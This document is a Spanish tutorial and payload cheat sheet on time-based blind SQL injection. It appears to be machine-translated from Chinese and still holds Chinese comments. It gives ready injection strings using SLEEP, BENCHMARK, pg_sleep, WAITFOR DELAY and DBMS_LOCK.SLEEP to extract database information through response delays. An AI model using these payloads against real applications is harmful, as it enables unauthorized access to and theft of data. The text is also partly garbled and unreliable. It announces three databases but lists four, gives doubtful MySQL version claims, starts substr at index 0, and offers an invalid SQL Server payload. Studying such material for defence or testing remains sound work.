Tabla de contenido
sleep (), inyección de retraso de referencia ()
1. Introducción a la gramática:
Tres bases de datos diferentes
sleep (), inyección de retraso de referencia ()
1. Introducción a la gramática:
Versión:
dormir () MySQL> 5.7.8
punto de referencia () MySQL> 5.7.5
gramática:
usar:
SELECT SLEEP(10);
retraso 10s
SELECT BENCHMARK(1000000, SHA1('Hello World'));
La consulta realizará 1 millón de cálculos de hash SHA1 y devolverá el resultado (no pierda el tiempo)
Luego agregué otro 0
2. Inyección retardada
si ejemplo:
Agrega la función de juicio if()
if(a,b,c), si el valor de a es verdadero, devuelve el valor de b, si el valor de a es falso, devuelve el valor de c
?id=1’ and if ((ascii(substr(database(),0,1))>100),sleep(10),1) --+
sleep(if(database()="security",10,0))
if(now()=sysdate(),sleep(length(database())),0)
//now(): 这是MySQL的一个内置函数,返回当前日期和时间。
//sysdate(): 这也是MySQL的一个内置函数,返回系统日期和时间。
//length(database()): 这是一个内置函数,返回当前数据库名的长度。
//sleep(): 这是MySQL的一个内置函数,用于在执行语句时暂停指定的秒数。
La lógica del código:
Si la fecha y hora actual devuelta por now() es igual a la fecha y hora del sistema devuelta por sysdate() (es decir, se establece la condición), entonces ejecute la
función sleep(longitud(base de datos())), es decir , el número de segundos para hacer una pausa es igual a la duración del tiempo del nombre de la base de datos actual;
de lo contrario, devuelva 0
caso cuando ejemplo
CASE WHEN condition1 THEN result1
WHEN condition2 THEN result2
ELSE result3
END
Entre ellos, condition1 y condition2 son expresiones condicionales, y result1, result2 y result3 son los resultados devueltos según las expresiones condicionales. Si no se cumplen todas las condiciones, devuelve result3
'%3bselect case when (1=1) then sleep(10) else sleep(0) end --
Esta es una declaración condicional que se usa para ejecutar la función retrasada sleep() en la consulta. Si la condición (1=1) es verdadera, se ejecutará la función sleep(10), es decir, se pausará durante 10 segundos; en caso contrario, se ejecutará la función sleep(0), es decir, no habrá demora
carga útil:
' OR SLEEP(5)#
' OR BENCHMARK(1000000,SHA1('test'))#
if(now()=sysdate(),sleep(length(database())),0)
'%3bselect case when (1=1) then pg_sleep(10) else pg_sleep(0) end --
Tres bases de datos diferentes
-
SLEEP()
Función MySQL :
- Función: Permite que la base de datos duerma durante el tiempo especificado (en segundos).
-Ejemplo de carga útil:' OR SLEEP(5) --
-
Funciones de PostgreSQL
pg_sleep()
:
- Función: Permite que la base de datos duerma durante el tiempo especificado (en segundos).
-Ejemplo de carga útil:' OR pg_sleep(5) --
-
Declaración de Microsoft SQL Server
WAITFOR DELAY
:
- Función de declaración: permite que la base de datos duerma durante el tiempo especificado (en milisegundos).
-Ejemplo de carga útil:' OR WAITFOR DELAY '0:0:5' --
-
DBMS_LOCK.SLEEP()
Función de Oracle :
- Función: dejar que la base de datos duerma durante el tiempo especificado (en segundos).
-Ejemplo de carga útil:' OR DBMS_LOCK.SLEEP(5) --